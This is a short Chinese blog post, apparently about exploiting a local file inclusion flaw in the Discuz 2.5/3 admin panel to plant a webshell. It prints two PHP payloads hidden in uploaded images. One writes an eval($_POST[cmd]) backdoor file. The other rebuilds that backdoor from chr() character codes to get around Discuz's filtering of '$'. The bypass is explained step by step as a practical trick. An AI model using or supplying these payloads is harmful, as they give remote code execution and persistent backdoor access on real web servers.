对最近那个discuz2.5、3后台包含漏洞拿shell的实例测试操作
前段时间dz又爆出了一个本地包含漏洞,拿到管理员权限后就可以拿webshell了。具体我就不说了,网上到处都是了。随便丢个链接:http://hi.baidu.com/wwwwww/item/0f5e034565820603e835048e。
今天刚好有个环境,就想来试试。最初一切都顺利,可以成功包含robots.txt、boot.ini等:
但我上传了带有如下代码的图片上去,结果确失败了:
<?php fputs(fopen('loversorry.php','w'),'<?php eval($_POST[cmd])?>');?>
后来进一步看,好像所有的php代码都失败,感觉dz应该具有过滤。第一想法是找到代码看看。这里实际dz已经为我们提供了方便,直接包含一个不存在的文件,dz会把错误的调用栈显示出来。
虽然有了调用路径,但顺着走下去还是感觉头昏脑胀。最终走到class_template.php,基本晕菜了。看来要把整个脉络理清楚不花个几天的时间是不可能的,这里我也就休闲下,不可能这样搞下去。虽然不知道点找对了没有,但function parse_template中的一些代码更加坚定了我的判断,Dz在后面肯定有过滤的:
于是为便易行事,决定不在代码里绕了,开始走捷径测试吧。
其实测起来很简单,一开始被我想复杂了,还在代码里绕了半天。测试发现只要被包含的文件里面有“$”,就会失败。所以包含正常的php肯定是失败的。
找到原因就简单了,把代码改一下,变为:
<?php fputs(fopen('loversorry.php','w'),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62));?>
在网站根目录写一个一句话。找个图片在后面家加进去:
果然终于成功了:
评论20次